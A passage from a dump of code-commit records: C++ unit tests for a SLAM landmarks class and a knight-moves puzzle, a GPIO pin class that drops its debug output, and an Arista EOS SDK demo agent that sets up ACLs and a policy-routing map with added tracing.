= MAXLANDMARKS;\n  int\t\tsizelandmarkDB = MAXLANDMARKS;\n};\n\nusing namespace igloo;\n\nWhen(creating_a_landmark)\n{\n  Then(it_should_have_default_value)\n    {\n      Assert::That(lm.id, Is().EqualTo(::Landmark_Result::id));\n      Assert::That(lm.life, Is().EqualTo(::Landmark_Result::life));\n      Assert::That(lm.totalTimeObserved, Is().EqualTo(::Landmark_Result::totalTimesObserved));\n      Assert::That(lm.range, Is().EqualTo(::Landmark_Result::range));\n      Assert::That(lm.bearing, Is().EqualTo(::Landmark_Result::bearing));\n      Assert::That(lm.pos[0], Is().EqualTo(::Landmark_Result::pos[0]));\n      Assert::That(lm.pos[1], Is().EqualTo(::Landmark_Result::pos[1]));\n    }\n\n  ::Landmarks::Landmark\tlm;\n};\n\nWhen(creating_Landmarks)\n{\n  Then(it_should_have_default_landmarks_value)\n  {\n    Assert::That(lms.DBSize, Is().EqualTo(::Landmarks_Result::DBSize));\n    Assert::That(lms.EKFLandmarks, Is().EqualTo(::Landmarks_Result::EKFLandmarks));\n    Assert::That(lms.degreePerScan, Is().EqualTo(::Landmarks_Result::defaultdegreePerScan));\n    Assert::That(lms.IDtoID.capacity(), Is().EqualTo(::Landmarks_Result::sizeIDtoID));\n    Assert::That(lms.landmarkDB.capacity(), Is().EqualTo(::Landmarks_Result::sizelandmarkDB));\n  }\n\n  Landmarks lms;\n};\n\nWhen(creating_Landmarks_with_a_specific_degree_value_different_from_default)\n{\n  void SetUp()\n  {\n    lms = new ::Landmarks(::Landmarks_Result::degreePerScan);\n  }\n\n  Then(it_should_not_have_default_degree_value)\n  {\n    Assert::That(lms->degreePerScan, Is().Not().EqualTo(::Landmarks_Result::defaultdegreePerScan));\n  }\n  \n  Then(it_should_have_this_specific_degree_value)\n  {\n    Assert::That(lms->degreePerScan, Is().EqualTo(::Landmarks_Result::degreePerScan));\n  }\n\n  void\tTearDown()\n  {\n    delete lms;\n  }\n\n  Landmarks *lms;\n};\n\nWhen(calling_getDBSize_after_construct)\n{\n\n  Then(it_should_be_equal_to_DBSize_value)\n  {\n    Assert::That(lms.getDBSize(), Is().EqualTo(lms.DBSize));\n  }\n  \n  Landmarks lms;\n};\n\nWhen(calling_getDBSize_after_DBSize_changed)\n{\n\n  void\tSetUp()\n  {\n    lms.DBSize += 1;\n  }\n\n  Then(it_should_be_equal_to_DBSize_value)\n  {\n    Assert::That(lms.getDBSize(), Is().EqualTo(lms.DBSize));\n  }\n  \n  Landmarks lms;\n};\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"gtest\/gtest.h\"\n\n#include <string>\n\n#include SPECIFIC_HEADER\n\n\/\/ Running tests\n\nTEST(TEST_NAME, Example0)\n{\n  ASSERT_EQ(2, fast_knight(\"a1\", \"b3\", \"c5\"));\n}\nTEST(TEST_NAME, Example1)\n{\n  ASSERT_EQ(3, fast_knight(\"b1\", \"c3\", \"a3\"));\n}\nTEST(TEST_NAME, Example2)\n{\n  ASSERT_EQ(6, fast_knight(\"a1\", \"a2\", \"b2\"));\n}\nTEST(TEST_NAME, Example3)\n{\n  ASSERT_EQ(3, fast_knight(\"a5\", \"b7\", \"e4\"));\n}\nTEST(TEST_NAME, Example4)\n{\n  ASSERT_EQ(6, fast_knight(\"h8\", \"e2\", \"d2\"));\n}\n\nint main(int argc, char **argv)\n{\n  ::testing::InitGoogleTest(&argc, argv);\n  int ret { RUN_ALL_TESTS() };\n  return ret;\n}\n<commit_msg>[topcoder-capturethemall] Extended tests<commit_after>#include \"gtest\/gtest.h\"\n\n#include <string>\n\n#include SPECIFIC_HEADER\n\n\/\/ Running tests\n\nTEST(TEST_NAME, Example0)\n{\n  ASSERT_EQ(2, fast_knight(\"a1\", \"b3\", \"c5\"));\n}\nTEST(TEST_NAME, Example1)\n{\n  ASSERT_EQ(3, fast_knight(\"b1\", \"c3\", \"a3\"));\n}\nTEST(TEST_NAME, Example2)\n{\n  ASSERT_EQ(6, fast_knight(\"a1\", \"a2\", \"b2\"));\n}\nTEST(TEST_NAME, Example3)\n{\n  ASSERT_EQ(3, fast_knight(\"a5\", \"b7\", \"e4\"));\n}\nTEST(TEST_NAME, Example4)\n{\n  ASSERT_EQ(6, fast_knight(\"h8\", \"e2\", \"d2\"));\n}\n\nTEST(TEST_NAME, Extended0)\n{\n  ASSERT_EQ(8, fast_knight(\"a1\", \"h8\", \"b2\"));\n}\nTEST(TEST_NAME, Extended1)\n{\n  ASSERT_EQ(8, fast_knight(\"a1\", \"h8\", \"b1\"));\n}\nTEST(TEST_NAME, Extended2)\n{\n  ASSERT_EQ(10, fast_knight(\"a1\", \"a8\", \"h8\"));\n}\nTEST(TEST_NAME, Extended3)\n{\n  ASSERT_EQ(6, fast_knight(\"c8\", \"g6\", \"b7\"));\n}\nTEST(TEST_NAME, Extended4)\n{\n  ASSERT_EQ(7, fast_knight(\"f5\", \"c1\", \"a3\"));\n}\nTEST(TEST_NAME, Extended5)\n{\n  ASSERT_EQ(8, fast_knight(\"b2\", \"h4\", \"a1\"));\n}\nTEST(TEST_NAME, Extended6)\n{\n  ASSERT_EQ(5, fast_knight(\"b6\", \"d3\", \"a5\"));\n}\nTEST(TEST_NAME, Extended7)\n{\n  ASSERT_EQ(4, fast_knight(\"g7\", \"e3\", \"h6\"));\n}\nTEST(TEST_NAME, Extended8)\n{\n  ASSERT_EQ(7, fast_knight(\"g2\", \"g7\", \"h8\"));\n}\nTEST(TEST_NAME, Extended9)\n{\n  ASSERT_EQ(3, fast_knight(\"e4\", \"c3\", \"g1\"));\n}\nTEST(TEST_NAME, Extended10)\n{\n  ASSERT_EQ(6, fast_knight(\"d1\", \"f1\", \"a8\"));\n}\nTEST(TEST_NAME, Extended11)\n{\n  ASSERT_EQ(5, fast_knight(\"c3\", \"e6\", \"g6\"));\n}\nTEST(TEST_NAME, Extended12)\n{\n  ASSERT_EQ(6, fast_knight(\"d2\", \"f4\", \"d8\"));\n}\nTEST(TEST_NAME, Extended13)\n{\n  ASSERT_EQ(4, fast_knight(\"f1\", \"e4\", \"f5\"));\n}\nTEST(TEST_NAME, Extended14)\n{\n  ASSERT_EQ(5, fast_knight(\"e3\", \"b2\", \"d7\"));\n}\nTEST(TEST_NAME, Extended15)\n{\n  ASSERT_EQ(7, fast_knight(\"e8\", \"g3\", \"b6\"));\n}\nTEST(TEST_NAME, Extended16)\n{\n  ASSERT_EQ(5, fast_knight(\"d1\", \"f5\", \"b8\"));\n}\nTEST(TEST_NAME, Extended17)\n{\n  ASSERT_EQ(7, fast_knight(\"b8\", \"f3\", \"d1\"));\n}\nTEST(TEST_NAME, Extended18)\n{\n  ASSERT_EQ(6, fast_knight(\"h6\", \"b8\", \"g5\"));\n}\nTEST(TEST_NAME, Extended19)\n{\n  ASSERT_EQ(7, fast_knight(\"b2\", \"g4\", \"b5\"));\n}\nTEST(TEST_NAME, Extended20)\n{\n  ASSERT_EQ(5, fast_knight(\"f4\", \"c5\", \"f7\"));\n}\nTEST(TEST_NAME, Extended21)\n{\n  ASSERT_EQ(6, fast_knight(\"f4\", \"a3\", \"g1\"));\n}\nTEST(TEST_NAME, Extended22)\n{\n  ASSERT_EQ(8, fast_knight(\"e6\", \"d1\", \"h8\"));\n}\nTEST(TEST_NAME, Extended23)\n{\n  ASSERT_EQ(5, fast_knight(\"e3\", \"d3\", \"g3\"));\n}\nTEST(TEST_NAME, Extended24)\n{\n  ASSERT_EQ(6, fast_knight(\"d3\", \"h3\", \"f5\"));\n}\nTEST(TEST_NAME, Extended25)\n{\n  ASSERT_EQ(4, fast_knight(\"b7\", \"g4\", \"e8\"));\n}\nTEST(TEST_NAME, Extended26)\n{\n  ASSERT_EQ(7, fast_knight(\"a8\", \"e1\", \"e2\"));\n}\nTEST(TEST_NAME, Extended27)\n{\n  ASSERT_EQ(5, fast_knight(\"g6\", \"f2\", \"g1\"));\n}\nTEST(TEST_NAME, Extended28)\n{\n  ASSERT_EQ(6, fast_knight(\"a6\", \"c8\", \"c3\"));\n}\nTEST(TEST_NAME, Extended29)\n{\n  ASSERT_EQ(5, fast_knight(\"b6\", \"g6\", \"e6\"));\n}\nTEST(TEST_NAME, Extended30)\n{\n  ASSERT_EQ(5, fast_knight(\"c2\", \"a1\", \"g7\"));\n}\nTEST(TEST_NAME, Extended31)\n{\n  ASSERT_EQ(5, fast_knight(\"b1\", \"e1\", \"a4\"));\n}\nTEST(TEST_NAME, Extended32)\n{\n  ASSERT_EQ(5, fast_knight(\"g6\", \"e1\", \"d2\"));\n}\nTEST(TEST_NAME, Extended33)\n{\n  ASSERT_EQ(3, fast_knight(\"f3\", \"d2\", \"e5\"));\n}\nTEST(TEST_NAME, Extended34)\n{\n  ASSERT_EQ(6, fast_knight(\"f2\", \"e8\", \"f8\"));\n}\nTEST(TEST_NAME, Extended35)\n{\n  ASSERT_EQ(5, fast_knight(\"b3\", \"b8\", \"d8\"));\n}\nTEST(TEST_NAME, Extended36)\n{\n  ASSERT_EQ(6, fast_knight(\"a6\", \"a4\", \"h1\"));\n}\nTEST(TEST_NAME, Extended37)\n{\n  ASSERT_EQ(6, fast_knight(\"h3\", \"b7\", \"d2\"));\n}\nTEST(TEST_NAME, Extended38)\n{\n  ASSERT_EQ(2, fast_knight(\"f5\", \"d4\", \"e6\"));\n}\nTEST(TEST_NAME, Extended39)\n{\n  ASSERT_EQ(3, fast_knight(\"g7\", \"e6\", \"e4\"));\n}\nTEST(TEST_NAME, Extended40)\n{\n  ASSERT_EQ(5, fast_knight(\"b6\", \"e8\", \"b2\"));\n}\nTEST(TEST_NAME, Extended41)\n{\n  ASSERT_EQ(4, fast_knight(\"e6\", \"e3\", \"d1\"));\n}\nTEST(TEST_NAME, Extended42)\n{\n  ASSERT_EQ(4, fast_knight(\"f5\", \"e6\", \"g2\"));\n}\nTEST(TEST_NAME, Extended43)\n{\n  ASSERT_EQ(6, fast_knight(\"h8\", \"e2\", \"d2\"));\n}\nTEST(TEST_NAME, Extended44)\n{\n  ASSERT_EQ(11, fast_knight(\"a1\", \"h1\", \"a8\"));\n}\n\nint main(int argc, char **argv)\n{\n  ::testing::InitGoogleTest(&argc, argv);\n  int ret { RUN_ALL_TESTS() };\n  return ret;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by aj on 5\/21\/16.\n\/\/\n\n#include \"GPIOPin.h\"\n#include <fstream>\n#include <iostream>\n\nusing namespace std;\nusing namespace Glib;\n\n\/\/TODO: Handle error conditions in all of these functions\n\n\/**\n * Instantiates a gpio pin\n *\/\nGPIOPin::GPIOPin(ustring pinNum) {\n    ofstream exportFile; \/\/Can't use \"export\" because its a reserved word\n\n    this->gpioPinNum = pinNum;\n    this->GPIO_PIN_DIRECTORY = \"\/gpio\" + pinNum;\n\n    exportFile.open((GPIO_DIR + GPIO_EXPORT_FILE).c_str());\n\n    exportFile << pinNum.c_str(); \/\/Exports pin number\n\n    exportFile.close();\n}\n\n\/**\n * Unexports the pin for other uses\n *\/\nGPIOPin::~GPIOPin() {\n    ofstream unexport;\n    unexport.open((GPIO_DIR + GPIO_UNEXPORT_FILE).c_str());\n\n    unexport << this->gpioPinNum.c_str(); \/\/Unexports pin number\n\n    unexport.close();\n}\n\n\/**\n * Sets up pin as an in or out\n * in: true for \"in\", false for \"out\"\n *\/\nvoid GPIOPin::writeInOut(bool in) {\n    ofstream direction;\n    direction.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_DIRECTION_FILE).c_str());\n\n    if(in) {\n        direction << \"in\";\n    } else {\n        direction << \"out\";\n    }\n\n    direction.close();\n}\n\n\/**\n * Writes a value to the gpio pin\n *\/\nvoid GPIOPin::writeValue(bool val) {\n    ofstream value;\n    value.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_VALUE_FILE).c_str());\n\n    cout << (GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_VALUE_FILE).c_str() << endl;\n    cout << \"Writing \" << (int)val << endl;\n\n    value << to_string((int)val); \/\/Write value to file\n\n    value.close();\n}\n\n\/**\n * Writes a 1 to the gpio pin\n *\/\nvoid GPIOPin::writeHigh() {\n    writeValue(true);\n}\n\n\/**\n * Writes a 0 to the gpio pin\n *\/\nvoid GPIOPin::writeLow() {\n    writeValue(false);\n}\n\n\/**\n * Sets the pin as an input\n *\/\nvoid GPIOPin::makeIn() {\n    writeInOut(true);\n}\n\n\/**\n * Sets the pin as an output\n *\/\nvoid GPIOPin::makeOut() {\n    writeInOut(false);\n}\n\n\/**\n * Reads a value and returns a bool (int) indicating the value\n *\/\nbool GPIOPin::readValue() {\n    ifstream value;\n    value.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_VALUE_FILE).c_str());\n\n    char val = (char) value.get();\n\n    value.close();\n\n    return val == '1';\n}\n\n\/**\n * Toggles the current state\n * return: the state toggled from\n *\/\nbool GPIOPin::toggle() {\n    bool currVal = readValue();\n    writeValue(!currVal);\n    return currVal;\n}\n\n\/**\n * Gives whether the gpio is an input or not\n * FIXME: Unimplemented\n *\/\nbool GPIOPin::isInput() {\n    return false; \/\/UNIMPLEMENTED: DO NOT USE YET\n}\n\n\/**\n * Default constructor\n * just instantiates pin 4\n * Not really useful unless you want pin 4\n *\/\nGPIOPin::GPIOPin() : GPIOPin(\"4\") { }\n\n\n<commit_msg>Remove debug printing<commit_after>\/\/\n\/\/ Created by aj on 5\/21\/16.\n\/\/\n\n#include \"GPIOPin.h\"\n#include <fstream>\n\nusing namespace std;\nusing namespace Glib;\n\n\/\/TODO: Handle error conditions in all of these functions\n\n\/**\n * Instantiates a gpio pin\n *\/\nGPIOPin::GPIOPin(ustring pinNum) {\n    ofstream exportFile; \/\/Can't use \"export\" because its a reserved word\n\n    this->gpioPinNum = pinNum;\n    this->GPIO_PIN_DIRECTORY = \"\/gpio\" + pinNum;\n\n    exportFile.open((GPIO_DIR + GPIO_EXPORT_FILE).c_str());\n\n    exportFile << pinNum.c_str(); \/\/Exports pin number\n\n    exportFile.close();\n}\n\n\/**\n * Unexports the pin for other uses\n *\/\nGPIOPin::~GPIOPin() {\n    ofstream unexport;\n    unexport.open((GPIO_DIR + GPIO_UNEXPORT_FILE).c_str());\n\n    unexport << this->gpioPinNum.c_str(); \/\/Unexports pin number\n\n    unexport.close();\n}\n\n\/**\n * Sets up pin as an in or out\n * in: true for \"in\", false for \"out\"\n *\/\nvoid GPIOPin::writeInOut(bool in) {\n    ofstream direction;\n    direction.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_DIRECTION_FILE).c_str());\n\n    if(in) {\n        direction << \"in\";\n    } else {\n        direction << \"out\";\n    }\n\n    direction.close();\n}\n\n\/**\n * Writes a value to the gpio pin\n *\/\nvoid GPIOPin::writeValue(bool val) {\n    ofstream value;\n    value.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_VALUE_FILE).c_str());\n\n    value << to_string((int)val); \/\/Write value to file\n\n    value.close();\n}\n\n\/**\n * Writes a 1 to the gpio pin\n *\/\nvoid GPIOPin::writeHigh() {\n    writeValue(true);\n}\n\n\/**\n * Writes a 0 to the gpio pin\n *\/\nvoid GPIOPin::writeLow() {\n    writeValue(false);\n}\n\n\/**\n * Sets the pin as an input\n *\/\nvoid GPIOPin::makeIn() {\n    writeInOut(true);\n}\n\n\/**\n * Sets the pin as an output\n *\/\nvoid GPIOPin::makeOut() {\n    writeInOut(false);\n}\n\n\/**\n * Reads a value and returns a bool (int) indicating the value\n *\/\nbool GPIOPin::readValue() {\n    ifstream value;\n    value.open((GPIO_DIR + GPIO_PIN_DIRECTORY + GPIO_VALUE_FILE).c_str());\n\n    char val = (char) value.get();\n\n    value.close();\n\n    return val == '1';\n}\n\n\/**\n * Toggles the current state\n * return: the state toggled from\n *\/\nbool GPIOPin::toggle() {\n    bool currVal = readValue();\n    writeValue(!currVal);\n    return currVal;\n}\n\n\/**\n * Gives whether the gpio is an input or not\n * FIXME: Unimplemented\n *\/\nbool GPIOPin::isInput() {\n    return false; \/\/UNIMPLEMENTED: DO NOT USE YET\n}\n\n\/**\n * Default constructor\n * just instantiates pin 4\n * Not really useful unless you want pin 4\n *\/\nGPIOPin::GPIOPin() : GPIOPin(\"4\") { }\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2014 Arista Networks, Inc.  All rights reserved.\n\/\/ Arista Networks, Inc. Confidential and Proprietary.\n\n#include <unordered_set>\n\n#include <eos\/agent.h>\n#include <eos\/acl.h>\n#include <eos\/intf.h>\n#include <eos\/class_map.h>\n#include <eos\/policy_map.h>\n#include <eos\/sdk.h>\n#include <eos\/system.h>\n\n#include <cstdio>\n\nclass policy_demo : public eos::agent_handler,\n                    public eos::acl_handler,\n                    public eos::policy_map_handler {\n public:\n   explicit policy_demo(eos::sdk & sdk)\n         : eos::agent_handler(sdk.get_agent_mgr()),\n           eos::acl_handler(sdk.get_acl_mgr()),\n           eos::policy_map_handler(sdk.get_policy_map_mgr()) {\n\n      \/\/ Setup manager refs\n      class_mgr = sdk.get_class_map_mgr();\n\n      \/\/ Register for all ACL updates; when programming policies,\n      \/\/ ACLs must be programmed before class maps before policy maps,\n      \/\/ and they may fail independently of policy-map based PBR\n      \/\/ programming. If ACL programming for ACLs used in class-maps\n      \/\/ fails, the reported problem must be resolved before PBR\n      \/\/ programming will complete.\n      watch_all_acls(true);\n\n   }\n\n   ~policy_demo() {\n   }\n\n   void on_initialized() {\n      printf(\"on_initialized - policy_demo starting\\n\");\n      setup_policy();\n   }\n\n   \/\/ Configure PBR policymap pm1 with two class-maps and two single line raw\n   \/\/ match rules.\n   \/\/\n   \/\/ Service policy pm1\n   \/\/   Configured on: Management0\n   \/\/   Applied on:\n   \/\/   1: Class-map: cm1 (match-any)\n   \/\/     Match: 1 IP Access List acl1\n   \/\/         1 permit ip any 20.20.0.0\/16 dscp 32\n   \/\/     Configured actions: drop\n   \/\/     Active routing action: No PBR action\n   \/\/   2: Class-map: cm2 (match-any)\n   \/\/     Match: 1 IPV6 Access List acl2\n   \/\/         1 permit ipv6 any 2001:db8:1234::\/48 dscp 32\n   \/\/     Configured actions: drop\n   \/\/     Active routing action: No PBR action\n   \/\/   3: Single match statement\n   \/\/     Match:\n   \/\/         0 permit ip any 30.30.0.0\/16 dscp 32\n   \/\/     Configured actions: set nexthop-group nexthopgroup2\n   \/\/     Active routing action: No PBR action\n   \/\/   4: Single match statement\n   \/\/     Match:\n   \/\/         0 permit ipv6 any 2001:db8:5678::\/48 dscp 32\n   \/\/     Configured actions: set nexthop-group nexthopgroup2\n   \/\/     Active routing action: No PBR action\n\n   void setup_policy() {\n      eos::ip_addr_t dip;\n\n      \/\/ Configure V4 ACL \n      auto acl1 = eos::acl_key_t(\"acl1\", eos::ACL_TYPE_IPV4);\n      auto rule1 = eos::acl_rule_ip_t();\n      rule1.action_is(eos::ACL_PERMIT);\n      eos::parse_ip_addr(\"20.20.0.0\", &dip);\n      rule1.destination_addr_is(eos::ip_addr_mask_t(dip, 16));\n      rule1.priority_value_is(32);\n      rule1.match_ip_priority_is(true);\n      get_acl_mgr()->acl_rule_set(acl1, 1, rule1);\n      get_acl_mgr()->acl_commit();\n\n      \/\/ Now build the class map for that ACL and commit it\n      auto cmkey = eos::class_map_key_t(\"cm1\", eos::POLICY_FEATURE_PBR);\n      auto cm = eos::class_map_t(cmkey);\n      cm.rule_set(1, eos::class_map_rule_t(acl1));\n      class_mgr->class_map_is(cm);\n\n      \/\/ Build a policy map\n      auto pmkey = eos::policy_map_key_t(\"pm1\", eos::POLICY_FEATURE_PBR);\n      auto pm = eos::policy_map_t(pmkey);\n\n      \/\/ Add the policy map rule matching our class map and dropping the traffic\n      auto pmrule4 = eos::policy_map_rule_t(cmkey);\n      auto action = eos::policy_map_action_t(eos::POLICY_ACTION_DROP);\n      pmrule4.action_set(action);\n      pm.rule_set(1, pmrule4);\n\n      \/\/ Configure V6 ACL \n      auto acl2 = eos::acl_key_t(\"acl2\", eos::ACL_TYPE_IPV6);\n      auto rule2 = eos::acl_rule_ip_t();\n      rule2.action_is(eos::ACL_PERMIT);\n      eos::parse_ip_addr(\"2001:db8:1234::\", &dip);\n      rule2.destination_addr_is(eos::ip_addr_mask_t(dip, 48));\n      rule2.priority_value_is(129);\n      rule2.priority_mask_is(255);\n      get_acl_mgr()->acl_rule_set(acl2, 1, rule2);\n      get_acl_mgr()->acl_commit();\n\n      \/\/ Now build the class map for that ACL and commit it\n      auto cmkey2 = eos::class_map_key_t(\"cm2\", eos::POLICY_FEATURE_PBR);\n      auto cm2 = eos::class_map_t(cmkey2);\n      cm2.rule_set(1, eos::class_map_rule_t(acl2));\n      class_mgr->class_map_is(cm2);\n\n      \/\/ Add the policy map rule matching our class map and dropping the traffic\n      auto pmrule6 = eos::policy_map_rule_t(cmkey2);\n      pmrule6.action_set(action);\n      pm.rule_set(2, pmrule6);\n\n      \/\/ Add a V4 single line raw match rule.\n      eos::acl_rule_ip_t raw_v4;\n      eos::parse_ip_addr(\"30.30.0.0\", &dip);\n      raw_v4.destination_addr_is(eos::ip_addr_mask_t(dip, 16));\n      raw_v4.priority_value_is(32);\n      raw_v4.match_ip_priority_is(true);\n      auto pmrule_raw_v4 = eos::policy_map_rule_t();\n      pmrule_raw_v4.raw_rule_is(raw_v4, eos::POLICY_RULE_TYPE_IPV4);\n      action = eos::policy_map_action_t(eos::POLICY_ACTION_NEXTHOP_GROUP);\n      action.nexthop_group_name_is(\"nexthopgroup2\");\n      pmrule_raw_v4.action_set(action);\n      pm.rule_set(3, pmrule_raw_v4);\n\n      \/\/ Add a V6 single line raw match rule.\n      eos::acl_rule_ip_t raw_v6;\n      eos::parse_ip_addr(\"2001:db8:5678::\", &dip);\n      raw_v6.destination_addr_is(eos::ip_addr_mask_t(dip, 48));\n      raw_v6.priority_value_is(129);\n      raw_v6.priority_mask_is(255);\n      auto pmrule_raw_v6 = eos::policy_map_rule_t();\n      pmrule_raw_v6.raw_rule_is(raw_v6, eos::POLICY_RULE_TYPE_IPV6);\n      action = eos::policy_map_action_t(eos::POLICY_ACTION_NEXTHOP_GROUP);\n      action.nexthop_group_name_is(\"nexthopgroup2\");\n      pmrule_raw_v6.action_set(action);\n      pm.rule_set(4, pmrule_raw_v6);\n\n      \/\/ Commit the policy map\n      get_policy_map_mgr()->policy_map_is(pm);\n\n      \/\/ Finally, apply the policy map to the management interface to block access\n      get_policy_map_mgr()->policy_map_apply(pmkey,\n                                             eos::intf_id_t(\"Management0\"),\n                                             eos::ACL_IN,\n                                             true);\n   }\n\n private:\n   eos::class_map_mgr * class_mgr;\n};\n\nint main(int argc, char ** argv) {\n   eos::sdk sdk;\n   policy_demo demo(sdk);\n\n   printf(\"Starting PolicyDemo\\n\");\n   sdk.main_loop(argc, argv);\n}\n<commit_msg>@3464246 patch fixes for BUG167603 and BUG167604 to our mainline branches<commit_after>\/\/ Copyright (c) 2014 Arista Networks, Inc.  All rights reserved.\n\/\/ Arista Networks, Inc. Confidential and Proprietary.\n\n#include <unordered_set>\n\n#include <eos\/agent.h>\n#include <eos\/acl.h>\n#include <eos\/intf.h>\n#include <eos\/class_map.h>\n#include <eos\/policy_map.h>\n#include <eos\/sdk.h>\n#include <eos\/system.h>\n#include <eos\/tracing.h>\n\n#include <cstdio>\n\nclass policy_demo : public eos::agent_handler,\n                    public eos::acl_handler,\n                    public eos::policy_map_handler {\n public:\n   eos::tracer t;\n   explicit policy_demo(eos::sdk & sdk)\n         : eos::agent_handler(sdk.get_agent_mgr()),\n           eos::acl_handler(sdk.get_acl_mgr()),\n           eos::policy_map_handler(sdk.get_policy_map_mgr()),\n           t(\"PolicyDemo\") {\n\n      \/\/ Setup manager refs\n      class_mgr = sdk.get_class_map_mgr();\n\n      \/\/ Register for all ACL updates; when programming policies,\n      \/\/ ACLs must be programmed before class maps before policy maps,\n      \/\/ and they may fail independently of policy-map based PBR\n      \/\/ programming. If ACL programming for ACLs used in class-maps\n      \/\/ fails, the reported problem must be resolved before PBR\n      \/\/ programming will complete.\n      watch_all_acls(true);\n\n   }\n\n   ~policy_demo() {\n   }\n\n   void on_initialized() {\n      printf(\"on_initialized - policy_demo starting\\n\");\n      setup_policy();\n   }\n\n   \/\/ Configure PBR policymap pm1 with two class-maps and two single line raw\n   \/\/ match rules.\n   \/\/\n   \/\/ Service policy pm1\n   \/\/   Configured on: Management0\n   \/\/   Applied on:\n   \/\/   1: Class-map: cm1 (match-any)\n   \/\/     Match: 1 IP Access List acl1\n   \/\/         1 permit ip any 20.20.0.0\/16 dscp 32\n   \/\/     Configured actions: drop\n   \/\/     Active routing action: No PBR action\n   \/\/   2: Class-map: cm2 (match-any)\n   \/\/     Match: 1 IPV6 Access List acl2\n   \/\/         1 permit ipv6 any 2001:db8:1234::\/48 dscp 32\n   \/\/     Configured actions: drop\n   \/\/     Active routing action: No PBR action\n   \/\/   3: Single match statement\n   \/\/     Match:\n   \/\/         0 permit ip any 30.30.0.0\/16 dscp 32\n   \/\/     Configured actions: set nexthop-group nexthopgroup2\n   \/\/     Active routing action: No PBR action\n   \/\/   4: Single match statement\n   \/\/     Match:\n   \/\/         0 permit ipv6 any 2001:db8:5678::\/48 dscp 32\n   \/\/     Configured actions: set nexthop-group nexthopgroup2\n   \/\/     Active routing action: No PBR action\n\n   void setup_policy() {\n      eos::ip_addr_t dip;\n\n      \/\/ Configure V4 ACL \n      auto acl1 = eos::acl_key_t(\"acl1\", eos::ACL_TYPE_IPV4);\n      auto rule1 = eos::acl_rule_ip_t();\n      rule1.action_is(eos::ACL_PERMIT);\n      eos::parse_ip_addr(\"20.20.0.0\", &dip);\n      rule1.destination_addr_is(eos::ip_addr_mask_t(dip, 16));\n      rule1.priority_value_is(32);\n      rule1.match_ip_priority_is(true);\n      get_acl_mgr()->acl_rule_set(acl1, 1, rule1);\n      get_acl_mgr()->acl_commit();\n\n      \/\/ Now build the class map for that ACL and commit it\n      auto cmkey = eos::class_map_key_t(\"cm1\", eos::POLICY_FEATURE_PBR);\n      auto cm = eos::class_map_t(cmkey);\n      cm.rule_set(1, eos::class_map_rule_t(acl1));\n      cm.persistent_is(true);\n      class_mgr->class_map_is(cm);\n      t.trace0(\"class map cm input: %s\", cm.to_string().c_str());\n      auto cm_res = class_mgr->class_map(cmkey);\n      t.trace0(\"class map cm outpt: %s\", cm_res.to_string().c_str());\n\n      \/\/ Build a policy map\n      auto pmkey = eos::policy_map_key_t(\"pm1\", eos::POLICY_FEATURE_PBR);\n      auto pm = eos::policy_map_t(pmkey);\n\n      \/\/ Add the policy map rule matching our class map and dropping the traffic\n      auto pmrule4 = eos::policy_map_rule_t(cmkey);\n      auto action = eos::policy_map_action_t(eos::POLICY_ACTION_DROP);\n      pmrule4.action_set(action);\n      pm.rule_set(1, pmrule4);\n\n      \/\/ Configure V6 ACL \n      auto acl2 = eos::acl_key_t(\"acl2\", eos::ACL_TYPE_IPV6);\n      auto rule2 = eos::acl_rule_ip_t();\n      rule2.action_is(eos::ACL_PERMIT);\n      eos::parse_ip_addr(\"2001:db8:1234::\", &dip);\n      rule2.destination_addr_is(eos::ip_addr_mask_t(dip, 48));\n      rule2.priority_value_is(129);\n      rule2.priority_mask_is(255);\n      get_acl_mgr()->acl_rule_set(acl2, 1, rule2);\n      get_acl_mgr()->acl_commit();\n\n      \/\/ Now build the class map for that ACL and commit it\n      auto cmkey2 = eos::class_map_key_t(\"cm2\", eos::POLICY_FEATURE_PBR);\n      auto cm2 = eos::class_map_t(cmkey2);\n      cm2.rule_set(1, eos::class_map_rule_t(acl2));\n      cm2.persistent_is(true);\n      class_mgr->class_map_is(cm2);\n      t.trace0(\"class map cm2 input: %s\", cm2.to_string().c_str());\n      auto cm2_res = class_mgr->class_map(cmkey2);\n      t.trace0(\"class map cm2 outpt: %s\", cm2_res.to_string().c_str());\n\n      \/\/ Add the policy map rule matching our class map and dropping the traffic\n      auto pmrule6 = eos::policy_map_rule_t(cmkey2);\n      pmrule6.action_set(action);\n      pm.rule_set(2, pmrule6);\n\n      \/\/ Add a V4 single line raw match rule.\n      eos::acl_rule_ip_t raw_v4;\n      eos::parse_ip_addr(\"30.30.0.0\", &dip);\n      raw_v4.destination_addr_is(eos::ip_addr_mask_t(dip, 16));\n      raw_v4.priority_value_is(32);\n      raw_v4.match_ip_priority_is(true);\n      auto pmrule_raw_v4 = eos::policy_map_rule_t();\n      pmrule_raw_v4.raw_rule_is(raw_v4, eos::POLICY_RULE_TYPE_IPV4);\n      action = eos::policy_map_action_t(eos::POLICY_ACTION_NEXTHOP_GROUP);\n      action.nexthop_group_name_is(\"nexthopgroup2\");\n      pmrule_raw_v4.action_set(action);\n      pm.rule_set(3, pmrule_raw_v4);\n\n      \/\/ Add a V6 single line raw match rule.\n      eos::acl_rule_ip_t raw_v6;\n      eos::parse_ip_addr(\"2001:db8:5678::\", &dip);\n      raw_v6.destination_addr_is(eos::ip_addr_mask_t(dip, 48));\n      raw_v6.priority_value_is(129);\n      raw_v6.priority_mask_is(255);\n      auto pmrule_raw_v6 = eos::policy_map_rule_t();\n      pmrule_raw_v6.raw_rule_is(raw_v6, eos::POLICY_RULE_TYPE_IPV6);\n      action = eos::policy_map_action_t(eos::POLICY_ACTION_NEXTHOP_GROUP);\n      action.nexthop_group_name_is(\"nexthopgroup2\");\n      pmrule_raw_v6.action_set(action);\n      pm.rule_set(4, pmrule_raw_v6);\n      pm.persistent_is(true);\n\n      \/\/ Commit the policy map\n      get_policy_map_mgr()->policy_map_is(pm);\n\n      \/\/ Finally, apply the policy map to the management interface to block access\n      get_policy_map_mgr()->policy_map_apply(pmkey,\n                                             eos::intf_id_t(\"Management0\"),\n                                             eos::ACL_IN,\n                                             true);\n   }\n\n 